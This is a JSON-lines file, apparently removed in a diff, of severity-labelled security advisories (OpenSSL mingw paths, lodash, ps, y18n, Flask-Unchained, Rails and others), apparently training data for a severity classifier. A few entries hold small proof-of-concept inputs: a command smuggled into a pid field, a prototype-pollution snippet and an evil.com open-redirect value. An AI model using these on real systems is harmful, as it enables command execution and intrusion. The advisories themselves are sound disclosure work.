--prefix / --openssldir configuration options.\n\nFor OpenSSL versions 1.1.0 and 1.1.1, the mingw configuration targets\nassume that resulting programs and libraries are installed in a\nUnix-like environment and the default prefix for program installation\nas well as for OPENSSLDIR should be '/usr/local'.\n\nHowever, mingw programs are Windows programs, and as such, find\nthemselves looking at sub-directories of 'C:/usr/local', which may be\nworld writable, which enables untrusted users to modify OpenSSL's\ndefault configuration, insert CA certificates, modify (or even\nreplace) existing engine modules, etc.\n\nFor OpenSSL 1.0.2, '/usr/local/ssl' is used as default for OPENSSLDIR\non all Unix and Windows targets, including Visual C builds.  However,\nsome build instructions for the diverse Windows targets on 1.0.2\nencourage you to specify your own --prefix.\n\nOpenSSL versions 1.1.1, 1.1.0 and 1.0.2 are affected by this issue.\nDue to the limited scope of affected deployments this has been\nassessed as low severity and therefore we are not creating new\nreleases at this time.\n\nThe mitigations are found in these commits:\n- For 1.1.1, commit 54aa9d51b09d67e90db443f682cface795f5af9e\n- For 1.1.0, commit e32bc855a81a2d48d215c506bdeb4f598045f7e9 and\n  b15a19c148384e73338aa7c5b12652138e35ed28\n- For 1.0.2, commit d333ebaf9c77332754a9d5e111e2f53e1de54fdd\n\nThe 1.1.1 and 1.1.0 mitigation set more appropriate defaults for\nmingw, while the 1.0.2 mitigation documents the issue and provides\nenhanced examples.\n\nThis issue was reported by Rich Mirch.  The fix was developed by\nRichard Levitte from the OpenSSL development team.  It was reported to\nOpenSSL on 9th Jun 2019.\n```\n## Summary:\nI have confirmed this vulnerability in over a dozen Windows applications. A few public links have been included below. While the OpenSSL project rated this a low, most projects/vendors that I have worked with have rated it a high due to the ability to inject arbitrary code into the calling process from a low privileged user.\n\n## Supporting Material/References:\n* curl/libcurl - Windows OpenSSL engine code injection https://curl.haxx.se/docs/CVE-2019-5443.html\n* CVE-2019-12572 PIA Windows Privilege Escalation: Malicious OpenSSL Engine https://blog.mirch.io/2019/06/10/cve-2019-12572-pia-windows-privilege-escalation-malicious-openssl-engine/\n* Stunnel Windows local privilege escalation vulnerability https://www.stunnel.org/pipermail/stunnel-users/2019-June/006417.html\n* CVE-2019-10211: EnterpriseDB Windows installer bundled OpenSSL executes code from unprotected directory https://www.postgresql.org/about/news/1960/\n\n## Impact\n\nThis can result in the elevation of privileges for the vulnerable application. Low privileged accounts on Windows allow authenticated low privileged users the ability to create directories under the top level root directory c:\\\\. A malicious user could create this path and add a custom openssl.cnf file to load a OpenSSL engine library. When this library is loaded, arbitrary code would be executed with the full authority of the calling process. In some cases this is a service running with SYSTEM privileges - the highest authority on Windows systems.", "severity": "low", "severity_label": 0, "source": "hackerone", "timestamp": "2019-09-24", "split": "train"}
-{"id": "5148a3ba46543cfd3df2", "text": "org.apache.tika:tika-parsers has an Infinite Loop vulnerability\n\nVersions of the package `org.apache.tika:tika-parsers` before version 1.18 are vulnerable to Denial of Service (DoS) via a carefully crafted (or fuzzed) file that can trigger an infinite loop via the ChmParser.", "text_raw": "org.apache.tika:tika-parsers has an Infinite Loop vulnerability\n\n[Severity: MEDIUM]\n\nVersions of the package `org.apache.tika:tika-parsers` before version 1.18 are vulnerable to Denial of Service (DoS) via a carefully crafted (or fuzzed) file that can trigger an infinite loop via the ChmParser.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "a9e43aa163bdda1432cd", "text": "Improper Input Validation and Command Injection in Ansible\n\nA flaw was found in Ansible, where a user's controller is vulnerable to template injection. This issue can occur through facts used in the template if the user is trying to put templates in multi-line YAML strings and the facts being handled do not routinely include special template characters. This flaw allows attackers to perform command injection, which discloses sensitive information. The highest threat from this vulnerability is to confidentiality and integrity.", "text_raw": "Improper Input Validation and Command Injection in Ansible\n\n[Severity: HIGH]\n\nA flaw was found in Ansible, where a user's controller is vulnerable to template injection. This issue can occur through facts used in the template if the user is trying to put templates in multi-line YAML strings and the facts being handled do not routinely include special template characters. This flaw allows attackers to perform command injection, which discloses sensitive information. The highest threat from this vulnerability is to confidentiality and integrity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-23", "split": "train"}
-{"id": "17de0171aa6adac6ca16", "text": "XSS in MITREid Connect\n\nThe OpenID Connect reference implementation for MITREid Connect through 1.3.3 allows XSS due to userInfoJson being included in the page unsanitized. This is related to header.tag. The issue can be exploited to execute arbitrary JavaScript.", "text_raw": "XSS in MITREid Connect\n\n[Severity: MEDIUM]\n\nThe OpenID Connect reference implementation for MITREid Connect through 1.3.3 allows XSS due to userInfoJson being included in the page unsanitized. This is related to header.tag. The issue can be exploited to execute arbitrary JavaScript.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-01", "split": "train"}
-{"id": "fca76a13b3c425751361", "text": "Users can edit the tags of any discussion\n\nThis advisory concerns a vulnerability which was patched and publicly released on October 5, 2020.\n\n### Impact\nThis vulnerability allowed any registered user to edit the tags of any discussion for which they have READ access using the REST API.\n\nUsers were able to remove any existing tag, and add any tag in which they are allowed to create discussions. The chosen tags still had to match the configured Tags minimums and maximums.\n\nBy moving the discussion to new tags, users were able to go around permissions applied to restricted tags. Depending on the setup, this can include publicly exposing content that was only visible to certain groups, or gain the ability to interact with content where such interaction was limited.\n\nThe full impact varies depending on the configuration of permissions and restricted tags, and which community extensions are being used. All tag-scoped permissions offered by extensions are impacted by this ability to go around them.\n\nForums that don't use restricted tags and don't use any extension that relies on tags for access control should not see any security impact. An update is still required to stop users from being able to change any discussion's tags.\n\nForums that don't use the Tags extension are unaffected.\n\n### Patches\nThe fix will be available in version v0.1.0-beta.14 with Flarum beta 14. The fix has already been back-ported to Flarum beta 13 as version v0.1.0-beta.13.2 of the Tags extension.\n\n### Workarounds\nVersion v0.1.0-beta.13.2 of the Tags extension allows existing Flarum beta 13 forums to fix the issue without the need to update to beta 14.\n\nForums that have not yet updated to Flarum beta 13 are encouraged to update as soon as possible.\n\n### References\n\n- [Release announcement](https://discuss.flarum.org/d/25059-security-update-to-flarum-tags-010-beta132)\n- [GitHub issue](https://github.com/flarum/core/issues/2355)\n\n### For more information\nIf you have any questions or comments about this advisory, please start a new discussion on our [support forum](https://discuss.flarum.org/t/support).\n\nIf you discover a security vulnerability within Flarum, please send an e-mail to [security@flarum.org](mailto:security@flarum.org). All security vulnerabilities will be promptly addressed. More details can be found in our [security policy](https://github.com/flarum/core/security/policy).", "text_raw": "Users can edit the tags of any discussion\n\n[Severity: MEDIUM]\n\nThis advisory concerns a vulnerability which was patched and publicly released on October 5, 2020.\n\n### Impact\nThis vulnerability allowed any registered user to edit the tags of any discussion for which they have READ access using the REST API.\n\nUsers were able to remove any existing tag, and add any tag in which they are allowed to create discussions. The chosen tags still had to match the configured Tags minimums and maximums.\n\nBy moving the discussion to new tags, users were able to go around permissions applied to restricted tags. Depending on the setup, this can include publicly exposing content that was only visible to certain groups, or gain the ability to interact with content where such interaction was limited.\n\nThe full impact varies depending on the configuration of permissions and restricted tags, and which community extensions are being used. All tag-scoped permissions offered by extensions are impacted by this ability to go around them.\n\nForums that don't use restricted tags and don't use any extension that relies on tags for access control should not see any security impact. An update is still required to stop users from being able to change any discussion's tags.\n\nForums that don't use the Tags extension are unaffected.\n\n### Patches\nThe fix will be available in version v0.1.0-beta.14 with Flarum beta 14. The fix has already been back-ported to Flarum beta 13 as version v0.1.0-beta.13.2 of the Tags extension.\n\n### Workarounds\nVersion v0.1.0-beta.13.2 of the Tags extension allows existing Flarum beta 13 forums to fix the issue without the need to update to beta 14.\n\nForums that have not yet updated to Flarum beta 13 are encouraged to update as soon as possible.\n\n### References\n\n- [Release announcement](https://discuss.flarum.org/d/25059-security-update-to-flarum-tags-010-beta132)\n- [GitHub issue](https://github.com/flarum/core/issues/2355)\n\n### For more information\nIf you have any questions or comments about this advisory, please start a new discussion on our [support forum](https://discuss.flarum.org/t/support).\n\nIf you discover a security vulnerability within Flarum, please send an e-mail to [security@flarum.org](mailto:security@flarum.org). All security vulnerabilities will be promptly addressed. More details can be found in our [security policy](https://github.com/flarum/core/security/policy).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "c7436de157c4fbc0a6b1", "text": "Prototype Pollution in lodash.mergewith\n\nVersions of `lodash.mergewith` before 4.6.1 are vulnerable to Prototype Pollution. The function 'mergeWith' may allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nUpdate to version 4.6.1 or later.", "text_raw": "Prototype Pollution in lodash.mergewith\n\n[Severity: HIGH]\n\nVersions of `lodash.mergewith` before 4.6.1 are vulnerable to Prototype Pollution. The function 'mergeWith' may allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.6.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ea2581134d2528160e84", "text": "Reflected cross-site scripting in development mode handler in Vaadin\n\nURL encoding error in development mode handler in `com.vaadin:flow-server` versions 2.0.0 through 2.6.1 (Vaadin 14.0.0 through 14.6.1), 3.0.0 through 6.0.9 (Vaadin 15.0.0 through 19.0.8) allows local user to execute arbitrary JavaScript code by opening crafted URL in browser.\n\n- https://vaadin.com/security/cve-2021-33604", "text_raw": "Reflected cross-site scripting in development mode handler in Vaadin\n\n[Severity: LOW]\n\nURL encoding error in development mode handler in `com.vaadin:flow-server` versions 2.0.0 through 2.6.1 (Vaadin 14.0.0 through 14.6.1), 3.0.0 through 6.0.9 (Vaadin 15.0.0 through 19.0.8) allows local user to execute arbitrary JavaScript code by opening crafted URL in browser.\n\n- https://vaadin.com/security/cve-2021-33604", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "7a0d9e19ec5b2295c7a5", "text": "FPE in convolutions with zero size filters\n\n### Impact\nThe [implementations for convolution operators](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/conv_ops.cc) trigger a division by 0 if passed empty filter tensor arguments.\n\n### Patches\nWe have patched the issue in GitHub commit [f2c3931113eaafe9ef558faaddd48e00a6606235](https://github.com/tensorflow/tensorflow/commit/f2c3931113eaafe9ef558faaddd48e00a6606235).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "FPE in convolutions with zero size filters\n\n[Severity: MEDIUM]\n\n### Impact\nThe [implementations for convolution operators](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/conv_ops.cc) trigger a division by 0 if passed empty filter tensor arguments.\n\n### Patches\nWe have patched the issue in GitHub commit [f2c3931113eaafe9ef558faaddd48e00a6606235](https://github.com/tensorflow/tensorflow/commit/f2c3931113eaafe9ef558faaddd48e00a6606235).\n  \nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "f37fc38b652c7a287eb7", "text": "Command Injection in wizard-syncronizer\n\nAll versions of `wizard-syncronizer` are vulnerable to Command Injection. The package does not validate input on the `cloneAndSync` function  and concatenates it to an exec call. This can be abused through a malicious widget containing the payload in the `gitURL` value or through a MITM attack since the package does not enforce HTTPS. This may allow attackers to run arbitrary commands in the system.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Command Injection in wizard-syncronizer\n\n[Severity: MEDIUM]\n\nAll versions of `wizard-syncronizer` are vulnerable to Command Injection. The package does not validate input on the `cloneAndSync` function  and concatenates it to an exec call. This can be abused through a malicious widget containing the payload in the `gitURL` value or through a MITM attack since the package does not enforce HTTPS. This may allow attackers to run arbitrary commands in the system.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "0104eb5f3ab3b5ba5406", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "0d599af300cb5b0a911b", "text": "Cross-Site Request Forgery in firefly-iii\n\nfirefly-iii is vulnerable to Cross-Site Request Forgery (CSRF). This has been mitigated in version 5.6.1", "text_raw": "Cross-Site Request Forgery in firefly-iii\n\n[Severity: MEDIUM]\n\nfirefly-iii is vulnerable to Cross-Site Request Forgery (CSRF). This has been mitigated in version 5.6.1 ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-29", "split": "train"}
-{"id": "b69f7b3f9cfcca7ad85a", "text": "Heap buffer overflow in CefSharp\n\n### Impact\nA memory corruption bug(Heap overflow) in the FreeType font rendering library.\n\n> This can be exploited by attackers to execute arbitrary code by using specially crafted fonts with embedded PNG images .\n\nAs per https://www.secpod.com/blog/chrome-zero-day-under-active-exploitation-patch-now/\n\nGoogle is aware of reports that an exploit for CVE-2020-15999 exists in the wild.\n\n### Patches\nUpgrade to 85.3.130 or higher\n\n### References\n- https://www.secpod.com/blog/chrome-zero-day-under-active-exploitation-patch-now/\n- https://www.zdnet.com/article/google-releases-chrome-security-update-to-patch-actively-exploited-zero-day/\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15999\n- https://magpcss.org/ceforum/viewtopic.php?f=10&t=17942\n\nTo review the `CEF/Chromium` patch see https://bitbucket.org/chromiumembedded/cef/commits/cd6cbe008b127990036945fb75e7c2c1594ab10d", "text_raw": "Heap buffer overflow in CefSharp\n\n[Severity: MEDIUM]\n\n### Impact\nA memory corruption bug(Heap overflow) in the FreeType font rendering library.\n\n> This can be exploited by attackers to execute arbitrary code by using specially crafted fonts with embedded PNG images .\n\nAs per https://www.secpod.com/blog/chrome-zero-day-under-active-exploitation-patch-now/ \n\nGoogle is aware of reports that an exploit for CVE-2020-15999 exists in the wild.\n\n### Patches\nUpgrade to 85.3.130 or higher\n\n### References\n- https://www.secpod.com/blog/chrome-zero-day-under-active-exploitation-patch-now/\n- https://www.zdnet.com/article/google-releases-chrome-security-update-to-patch-actively-exploited-zero-day/\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15999\n- https://magpcss.org/ceforum/viewtopic.php?f=10&t=17942\n\nTo review the `CEF/Chromium` patch see https://bitbucket.org/chromiumembedded/cef/commits/cd6cbe008b127990036945fb75e7c2c1594ab10d", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-27", "split": "train"}
-{"id": "ce2df1e365a5e3f49c5b", "text": "ps Enables OS Command Injection\n\nVersions of `ps` before 1.0.0 are vulnerable to command injection.\n\n### Proof of concept:\n```js\nvar ps = require('ps');\n\nps.lookup({ pid: \"$(touch success.txt)\" }, function(err, proc) { // this method is vulnerable to command injection\n    if (err) {throw err;}\n    if (proc) {\n        console.log(proc);  // Process name, something like \"node\" or \"bash\"\n    } else {\n        console.log('No such process');\n    }\n});\n\n// Result: The file success.txt will exist on the filesystem if the touch command was executed\n```\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.", "text_raw": "ps Enables OS Command Injection\n\n[Severity: CRITICAL]\n\nVersions of `ps` before 1.0.0 are vulnerable to command injection.\n\n### Proof of concept:\n```js\nvar ps = require('ps');\n\nps.lookup({ pid: \"$(touch success.txt)\" }, function(err, proc) { // this method is vulnerable to command injection\n    if (err) {throw err;}\n    if (proc) {\n        console.log(proc);  // Process name, something like \"node\" or \"bash\"\n    } else {\n        console.log('No such process');\n    }\n});\n\n// Result: The file success.txt will exist on the filesystem if the touch command was executed\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "b03fcb349e7dd5270732", "text": "Open redirect in Flask-Unchained\n\nThis affects the package Flask-Unchained before 0.9.0. When using the the _validate_redirect_url function, it is possible to bypass URL validation and redirect a user to an arbitrary URL by providing multiple back slashes such as \\\\\\evil.com/path. This vulnerability is only exploitable if an alternative WSGI server other than Werkzeug is used, or the default behaviour of Werkzeug is modified using 'autocorrect_location_header=False.", "text_raw": "Open redirect in Flask-Unchained\n\n[Severity: MEDIUM]\n\nThis affects the package Flask-Unchained before 0.9.0. When using the the _validate_redirect_url function, it is possible to bypass URL validation and redirect a user to an arbitrary URL by providing multiple back slashes such as \\\\\\evil.com/path. This vulnerability is only exploitable if an alternative WSGI server other than Werkzeug is used, or the default behaviour of Werkzeug is modified using 'autocorrect_location_header=False.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "3e6f126da3e9a309965e", "text": "Unexpected panics in num-bigint\n\n### Impact\n\nTwo scenarios were reported where `BigInt` and `BigUint` multiplication may unexpectedly panic.\n\n- The internal `mac3` function did not expect the possibility of non-empty all-zero inputs, leading to an `unwrap()` panic.\n- A buffer was allocated with less capacity than needed for an intermediate result, leading to an assertion panic.\n\nRust panics can either cause stack unwinding or program abort, depending on the application configuration. In some settings, an unexpected panic may constitute a denial-of-service vulnerability.\n\n### Patches\nBoth problems were introduced in version 0.4.1, and are fixed in version 0.4.3.\n\n### For more information\nIf you have any questions or comments about this advisory, please open an issue in the [num-bigint](https://github.com/rust-num/num-bigint) repo.\n\n### Acknowledgements\nThanks to Guido Vranken and Arvid Norberg for privately reporting these issues to the author.\n\n### References\n* [GHSA-v935-pqmr-g8v9](https://github.com/rust-num/num-bigint/security/advisories/GHSA-v935-pqmr-g8v9)\n* [num-bigint#228](https://github.com/rust-num/num-bigint/pull/228)", "text_raw": "Unexpected panics in num-bigint\n\n[Severity: MEDIUM]\n\n### Impact\n\nTwo scenarios were reported where `BigInt` and `BigUint` multiplication may unexpectedly panic.\n\n- The internal `mac3` function did not expect the possibility of non-empty all-zero inputs, leading to an `unwrap()` panic.\n- A buffer was allocated with less capacity than needed for an intermediate result, leading to an assertion panic.\n\nRust panics can either cause stack unwinding or program abort, depending on the application configuration. In some settings, an unexpected panic may constitute a denial-of-service vulnerability.\n\n### Patches\nBoth problems were introduced in version 0.4.1, and are fixed in version 0.4.3.\n\n### For more information\nIf you have any questions or comments about this advisory, please open an issue in the [num-bigint](https://github.com/rust-num/num-bigint) repo.\n\n### Acknowledgements\nThanks to Guido Vranken and Arvid Norberg for privately reporting these issues to the author.\n\n### References\n* [GHSA-v935-pqmr-g8v9](https://github.com/rust-num/num-bigint/security/advisories/GHSA-v935-pqmr-g8v9)\n* [num-bigint#228](https://github.com/rust-num/num-bigint/pull/228)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2bd27f214d3134bd9689", "text": "Use of Insufficiently Random Values in Railties Allows Remote Code Execution\n\n# Possible Remote Code Execution Exploit in Rails Development Mode\n\nImpact \n------ \nWith some knowledge of a target application it is possible for an attacker to  guess the automatically generated development mode secret token.  This secret  token can be used in combination with other Rails internals to escalate to a remote code execution exploit.\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\nReleases \n-------- \nThe 6.0.0.beta3 and 5.2.2.1 releases are available at the normal locations.\n\nWorkarounds \n----------- \nThis issue can be mitigated by specifying a secret key in development mode. \nIn \"config/environments/development.rb\" add this:\n\n```\n  config.secret_key_base = SecureRandom.hex(64) \n```\n\nPlease note that only the 5.2.x, 5.1.x, 5.0.x, and 4.2.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits \n------- \nThanks to ooooooo_q", "text_raw": "Use of Insufficiently Random Values in Railties Allows Remote Code Execution\n\n[Severity: CRITICAL]\n\n# Possible Remote Code Execution Exploit in Rails Development Mode\n\nImpact \n------ \nWith some knowledge of a target application it is possible for an attacker to  guess the automatically generated development mode secret token.  This secret  token can be used in combination with other Rails internals to escalate to a remote code execution exploit. \n\nAll users running an affected release should either upgrade or use one of the workarounds immediately. \n\nReleases \n-------- \nThe 6.0.0.beta3 and 5.2.2.1 releases are available at the normal locations. \n\nWorkarounds \n----------- \nThis issue can be mitigated by specifying a secret key in development mode. \nIn \"config/environments/development.rb\" add this: \n\n```\n  config.secret_key_base = SecureRandom.hex(64) \n```\n\nPlease note that only the 5.2.x, 5.1.x, 5.0.x, and 4.2.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases. \n\nCredits \n------- \nThanks to ooooooo_q \n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-03-13", "split": "train"}
-{"id": "b5576d2ec7839a0a0e3b", "text": "Deserialization of Untrusted Data in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.6.7.4, 2.7.x before 2.7.9.7, 2.8.x before 2.8.11.5, and 2.9.x before 2.9.10.2 lacks certain `net.sf.ehcache` blocking.", "text_raw": "Deserialization of Untrusted Data in jackson-databind\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.6.7.4, 2.7.x before 2.7.9.7, 2.8.x before 2.8.11.5, and 2.9.x before 2.9.10.2 lacks certain `net.sf.ehcache` blocking.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-04", "split": "train"}
-{"id": "0047e353608ca8b2e5b1", "text": "Android Kernel Use-After-Free Vulnerability\n\nAffected: Android Android Kernel\n\nAndroid Kernel contains a use-after-free vulnerability in binder.c that allows for privilege escalation from an application to the Linux Kernel. This vulnerability was observed chained with CVE-2020-0041 and CVE-2020-0069 under exploit chain \"AbstractEmu.\"\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Android Kernel Use-After-Free Vulnerability\n\nAffected: Android Android Kernel\n\nAndroid Kernel contains a use-after-free vulnerability in binder.c that allows for privilege escalation from an application to the Linux Kernel. This vulnerability was observed chained with CVE-2020-0041 and CVE-2020-0069 under exploit chain \"AbstractEmu.\"\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2d6790e6a4e96282578f", "text": "Prototype Pollution in dot-notes\n\nAll versions of package dot-notes up to and including version 3.2.0 are vulnerable to Prototype Pollution via the create function.", "text_raw": "Prototype Pollution in dot-notes\n\n[Severity: CRITICAL]\n\nAll versions of package dot-notes up to and including version 3.2.0 are vulnerable to Prototype Pollution via the create function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "06c1e2531c0fd6ee773e", "text": "Sophos Cyberoam NG Series Multiple Cross-Site Scripting Vulnerabilities", "text_raw": "Sophos Cyberoam NG Series Multiple Cross-Site Scripting Vulnerabilities\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-04-04", "split": "train"}
-{"id": "2b35c2853c4e4a614c49", "text": "vBulletin PHP Module Remote Code Execution Vulnerability\n\nAffected: vBulletin vBulletin\n\nThe PHP module within vBulletin contains an unspecified vulnerability that allows for remote code execution via the widgetConfig[code] parameter in an ajax/render/widget_php routestring request.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "vBulletin PHP Module Remote Code Execution Vulnerability\n\nAffected: vBulletin vBulletin\n\nThe PHP module within vBulletin contains an unspecified vulnerability that allows for remote code execution via the widgetConfig[code] parameter in an ajax/render/widget_php routestring request.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "e71f77ce4ff36125f899", "text": "bookstack is vulnerable to Unrestricted Upload of File with Dangerous Type\n\nbookstack is vulnerable to Unrestricted Upload of File with Dangerous Type.", "text_raw": "bookstack is vulnerable to Unrestricted Upload of File with Dangerous Type\n\n[Severity: HIGH]\n\nbookstack is vulnerable to Unrestricted Upload of File with Dangerous Type.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "12b1e64d22de77f32877", "text": "Exposure of Sensitive Information in Hadoop\n\nThe YARN NodeManager in Apache Hadoop 2.7.3 and 2.7.4 can leak the password for credential store provider used by the NodeManager to YARN Applications.", "text_raw": "Exposure of Sensitive Information in Hadoop\n\n[Severity: CRITICAL]\n\nThe YARN NodeManager in Apache Hadoop 2.7.3 and 2.7.4 can leak the password for credential store provider used by the NodeManager to YARN Applications.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "cf52846b6fe091452633", "text": "Prototype Pollution in y18n\n\n### Overview\n\nThe npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.\n\n### POC\n\n```js\nconst y18n = require('y18n')();\n\ny18n.setLocale('__proto__');\ny18n.updateLocale({polluted: true});\n\nconsole.log(polluted); // true\n```\n\n### Recommendation\n\nUpgrade to version 3.2.2, 4.0.1, 5.0.5 or later.", "text_raw": "Prototype Pollution in y18n\n\n[Severity: HIGH]\n\n### Overview\n\nThe npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. \n\n### POC\n\n```js\nconst y18n = require('y18n')();\n\ny18n.setLocale('__proto__');\ny18n.updateLocale({polluted: true});\n\nconsole.log(polluted); // true\n```\n\n### Recommendation\n\nUpgrade to version 3.2.2, 4.0.1, 5.0.5 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "5d9fcb64b8a7f9cf0ff0", "text": "Improper file handling in concrete5/core\n\nA bypass of adding remote files in Concrete CMS (previously concrete5) File Manager leads to remote code execution in Concrete CMS (concrete5) versions 8.5.6 and below. The external file upload feature stages files in the public directory even if they have disallowed file extensions. They are stored in a directory with a random name, but it's possible to stall the uploads and brute force the directory name. You have to be an admin with the ability to upload files, but this bug gives you the ability to upload restricted file types and execute them depending on server configuration. To fix this, a check for allowed file extensions was added before downloading files to a tmp directory", "text_raw": "Improper file handling in concrete5/core\n\n[Severity: HIGH]\n\nA bypass of adding remote files in Concrete CMS (previously concrete5) File Manager leads to remote code execution in Concrete CMS (concrete5) versions 8.5.6 and below. The external file upload feature stages files in the public directory even if they have disallowed file extensions. They are stored in a directory with a random name, but it's possible to stall the uploads and brute force the directory name. You have to be an admin with the ability to upload files, but this bug gives you the ability to upload restricted file types and execute them depending on server configuration. To fix this, a check for allowed file extensions was added before downloading files to a tmp directory", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "b652c4c4a7fab633e221", "text": "Malicious Package in shrugging-logging\n\nAll versions of `shrugging-logging` contain malicious code as a postinstall script. The package fetches all names of npm packages owned by the user and attempts to add another maintainer to every package as a means of package hijacking,\n\n## Recommendation\n\nRemove the package from your system. If you own any packages that were compromised please contact npm security immediately at security@npmjs.com. Also enable 2FA for publishing to further secure packages you maintain.", "text_raw": "Malicious Package in shrugging-logging\n\n[Severity: CRITICAL]\n\nAll versions of `shrugging-logging` contain malicious code as a postinstall script. The package fetches all names of npm packages owned by the user and attempts to add another maintainer to every package as a means of package hijacking,\n\n\n## Recommendation\n\nRemove the package from your system. If you own any packages that were compromised please contact npm security immediately at security@npmjs.com. Also enable 2FA for publishing to further secure packages you maintain.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
